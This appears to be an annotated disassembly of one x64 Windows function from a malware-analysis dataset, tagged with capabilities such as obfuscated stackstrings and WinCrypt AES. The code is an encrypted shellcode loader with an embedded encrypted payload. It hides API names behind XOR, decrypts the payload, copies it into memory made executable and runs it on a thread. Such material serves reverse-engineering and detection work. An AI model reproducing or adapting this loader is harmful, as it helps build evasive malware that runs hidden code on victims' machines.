Function at 0x140001190
Capabilities:
Contain obfuscated stackstrings
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Link many functions at runtime

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xd8]
sub rsp, 0x1d8
movups xmm1, xmmword [0x140017068]
mov dword [rbp + 0x70], 0
movsd xmm0, qword [0x140017078]
movd eax, xmm1
movsd qword [rbp + 0xa0], xmm0
movdqa xmm0, xmmword [0x14000e310]
xor byte [str.1_tzg.], al
mov dword [rsp + 0x40], 0x78c1a6e8
mov dword [rsp + 0x44], 0xd40e828e
mov dword [rsp + 0x48], 0xdb3b760b
mov dword [rsp + 0x4c], 0x80d1d8bb
mov dword [rsp + 0x50], 0x7e770e0f
mov dword [rsp + 0x54], 0xe0245873
mov dword [rsp + 0x58], 0xec8727a0
mov dword [rsp + 0x5c], 0xb647dc57
mov dword [rsp + 0x60], 0xc7ec779c
mov dword [rsp + 0x64], 0xb0bcb3bb
mov dword [rsp + 0x68], 0x8e27e156
mov dword [rsp + 0x6c], 0x66d465d0
mov dword [rsp + 0x70], 0x5635dae
mov dword [rsp + 0x74], 0x54c4efdd
mov dword [rsp + 0x78], 0x47f32879
mov dword [rsp + 0x7c], 0x4e1e9e75
mov dword [rbp - 0x80], 0x8aca5cee
mov dword [rbp - 0x7c], 0x7095c1e4
mov dword [rbp - 0x78], 0x4b47601f
mov dword [rbp - 0x74], 0x1f516562
mov dword [rbp - 0x70], 0x81959923
mov dword [rbp - 0x6c], 0x8080bb84
mov dword [rbp - 0x68], 0x9d94411f
mov dword [rbp - 0x64], 0x7e472b21
mov dword [rbp - 0x60], 0x3b9b41a0
mov dword [rbp - 0x5c], 0x8c819e2c
mov dword [rbp - 0x58], 0x9055b5b
mov dword [rbp - 0x54], 0xb7016254
mov dword [rbp - 0x50], 0xf02355eb
mov dword [rbp - 0x4c], 0x42062898
mov dword [rbp - 0x48], 0x7c429c38
mov dword [rbp - 0x44], 0x2d717b9f
mov dword [rbp - 0x40], 0x92943fc0
mov dword [rbp - 0x3c], 0xed38f3b7
mov dword [rbp - 0x38], 0x73ba98d2
mov dword [rbp - 0x34], 0x4b314749
mov dword [rbp - 0x30], 0x883896b1
mov dword [rbp - 0x2c], 0x12ba6b88
mov dword [rbp - 0x28], 0x4dd53245
mov dword [rbp - 0x24], 0x28d680c1
mov dword [rbp - 0x20], 0xbae1ac8b
mov dword [rbp - 0x1c], 0x920b0721
mov dword [rbp - 0x18], 0xc8aaad3a
mov dword [rbp - 0x14], 0x2f2fb3c8
mov dword [rbp - 0x10], 0x60b530a6
mov dword [rbp - 0xc], 0xadd4e523
mov dword [rbp - 8], 0x7804ed3d
mov dword [rbp - 4], 0x1858dd1
mov dword [rbp], 0x5fddc61c
mov dword [rbp + 4], 0xbb0d2fba
mov dword [rbp + 8], 0x63bebb09
mov dword [rbp + 0xc], 0x6f4f5011
mov dword [rbp + 0x10], 0xa4e15c2f
mov dword [rbp + 0x14], 0x55eca169
mov dword [rbp + 0x18], 0x214ecc81
mov dword [rbp + 0x1c], 0xb0200d59
mov dword [rbp + 0x20], 0xe5df5016
mov dword [rbp + 0x24], 0xa5800c62
mov dword [rbp + 0x28], 0x299abe87
mov dword [rbp + 0x2c], 0x24dcee47
mov dword [rbp + 0x30], 0x421d215e
mov dword [rbp + 0x34], 0xc0fdb66a
mov dword [rbp + 0x38], 0xf9319450
mov dword [rbp + 0x3c], 0xfa3c561
mov dword [rbp + 0x40], 0xe2f48ca6
mov dword [rbp + 0x44], 0xc9c1967
mov dword [rbp + 0x48], 0xbd3cfc49
mov dword [rbp + 0x4c], 0x57e1bad3
mov dword [rbp + 0x50], 0x48572bda
mov dword [rbp + 0x54], 0x55c30ad2
mov dword [rbp + 0x58], 0x43c51627
mov dword [rbp + 0x5c], 0x207a3920
movups xmmword [rbp + 0x90], xmm1
movdqu xmmword [rbp + 0xb8], xmm0
xor byte [section..data], al
movdqa xmm0, xmm1
psrldq xmm0, 1
movd r14d, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 2
movd r15d, xmm0
movdqa xmm0, xmm1
xor byte [0x140017059], r14b
xor byte [str.100_t___], r14b
xor byte [0x14001705a], r15b
xor byte [0x140017002], r15b
psrldq xmm0, 3
movd r12d, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
movd r13d, xmm0
movdqa xmm0, xmm1
xor byte [0x14001705b], r12b
xor byte [0x140017003], r12b
xor byte [0x14001705c], r13b
xor byte [0x140017004], r13b
psrldq xmm0, 5
movd ebx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 6
movd esi, xmm0
movdqa xmm0, xmm1
xor byte [0x14001705d], bl
xor byte [0x140017005], bl
xor byte [0x14001705e], sil
xor byte [0x140017006], sil
psrldq xmm0, 7
movd ecx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movd edx, xmm0
movdqa xmm0, xmm1
xor byte [0x14001705f], cl
xor byte [0x140017007], cl
xor byte [0x140017060], dl
xor byte [0x140017008], dl
psrldq xmm0, 9
movd r8d, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 0xa
movd r9d, xmm0
xor byte [0x140017061], r8b
xor byte [0x140017009], r8b
xor byte [0x140017062], r9b
xor byte [0x14001700a], r9b
psrldq xmm1, 0xb
movd r10d, xmm1
mov dword [rbp + 0x120], ecx
lea rcx, str.1_tzg.
mov dword [rbp + 0x138], r9d
xor byte [0x140017063], r10b
xor byte [0x14001700b], r10b
mov dword [rbp + 0x74], ebx
mov dword [rbp + 0x60], esi
mov dword [rbp + 0x128], edx
mov dword [rbp + 0x130], r8d
mov dword [rsp + 0x30], r10d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, section..data
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov edx, 0x120
mov r8d, 0x3000
mov qword [0x140018c60], rax
lea r9d, [rcx + 4]
call rax
mov r9d, 0x18
mov qword [rbp + 0x88], rax
xor r8d, r8d
mov dword [rbp + 0x68], 0x120
xor edx, edx
mov dword [rsp + 0x20], 0xf0000000
lea rcx, [rbp + 0x78]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140001671
mov rcx, qword [rbp + 0x78]
lea rax, [rbp + 0x80]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140001671
mov rcx, qword [rbp + 0x80]
lea rdx, [rbp + 0xb8]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x140001671
mov r8, qword [rbp + 0x80]
lea rax, [rbp + 0xb0]
mov rcx, qword [rbp + 0x78]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x140001671
mov rcx, qword [rbp + 0xb0]
lea rax, [rbp + 0x68]
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rsp + 0x40]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x140001671
mov rcx, qword [rbp + 0x78]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp + 0xb0]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov eax, dword [rbp + 0x120]
lea rcx, str.1_tzg.
xor byte [0x140017017], al
mov eax, dword [rbp + 0x128]
xor byte [str.___4], al
mov eax, dword [rbp + 0x130]
xor byte [0x140017019], al
mov eax, dword [rbp + 0x138]
xor byte [0x140017016], sil
xor byte [0x14001701a], al
mov eax, dword [rsp + 0x30]
movzx edi, byte [rbp + 0x90]
movzx esi, byte [rbp + 0x9c]
xor byte [0x14001701b], al
xor byte [0x140017010], dil
xor byte [str.6__t0_], r14b
xor byte [0x140017012], r15b
xor byte [0x140017013], r12b
xor byte [0x140017014], r13b
xor byte [0x140017015], bl
xor byte [0x14001701c], sil
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x140017010]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp + 0x88]
lea rdx, [rsp + 0x40]
mov r8d, 0x120
mov qword [0x140018c58], rax
call rax
mov eax, dword [rbp + 0x60]
lea rcx, str.1_tzg.
xor byte [0x140017026], al
mov eax, dword [rbp + 0x120]
xor byte [0x140017027], al
mov eax, dword [rbp + 0x128]
xor byte [str.____.:], al
mov eax, dword [rbp + 0x130]
xor byte [0x140017029], al
mov eax, dword [rbp + 0x138]
xor byte [0x14001702a], al
mov eax, dword [rsp + 0x30]
xor byte [0x14001702b], al
movzx eax, byte [rbp + 0x9d]
xor byte [0x14001702d], al
xor byte [0x140017020], dil
xor byte [str.100], r14b
xor byte [0x140017022], r15b
xor byte [0x140017023], r12b
xor byte [0x140017024], r13b
xor byte [0x140017025], bl
xor byte [0x14001702c], sil
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x140017020]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp + 0x88]
lea r9, [rbp + 0x70]
mov edx, 0x120
mov qword [0x140018c40], rax
mov r8d, 0x20
call rax
test eax, eax
je 0x14000198a
mov eax, dword [rbp + 0x60]
lea rcx, str.1_tzg.
xor byte [0x140017036], al
mov eax, dword [rbp + 0x120]
xor byte [str.____], al
mov eax, dword [rbp + 0x128]
xor byte [0x140017038], al
mov eax, dword [rbp + 0x130]
xor byte [0x140017039], al
mov eax, dword [rbp + 0x138]
xor byte [0x14001703a], al
mov eax, dword [rsp + 0x30]
xor byte [0x14001703b], al
xor byte [0x140017030], dil
xor byte [str.0_1], r14b
xor byte [0x140017032], r15b
xor byte [0x140017033], r12b
xor byte [0x140017034], r13b
xor byte [0x140017035], bl
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x140017030]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8, qword [rbp + 0x88]
xor ecx, ecx
mov qword [rsp + 0x28], rcx
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], ecx
mov qword [0x140018c50], rax
call rax
xor byte [0x140017040], dil
lea rcx, str.1_tzg.
xor byte [0x140017041], r14b
mov rbx, rax
mov eax, dword [rbp + 0x74]
xor byte [str._5e_____], al
mov eax, dword [rbp + 0x60]
xor byte [0x140017046], al
mov eax, dword [rbp + 0x120]
xor byte [0x140017047], al
mov eax, dword [rbp + 0x128]
xor byte [0x140017048], al
mov eax, dword [rbp + 0x130]
xor byte [0x140017049], al
mov eax, dword [rbp + 0x138]
xor byte [0x14001704a], al
mov eax, dword [rsp + 0x30]
xor byte [0x14001704b], al
movzx eax, byte [rbp + 0x9d]
xor byte [0x14001704d], al
movzx eax, byte [rbp + 0x9e]
xor byte [str._:41], al
movzx eax, byte [rbp + 0x9f]
xor byte [0x14001704f], al
movzx eax, byte [rbp + 0xa0]
xor byte [0x140017050], al
movzx eax, byte [rbp + 0xa1]
xor byte [0x140017051], al
movzx eax, byte [rbp + 0xa2]
xor byte [0x140017052], al
xor byte [0x140017042], r15b
xor byte [0x140017043], r12b
xor byte [0x140017044], r13b
xor byte [0x14001704c], sil
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x140017040]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, 0xffffffff
mov rcx, rbx
mov qword [0x140018c48], rax
call rax
xor eax, eax
add rsp, 0x1d8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret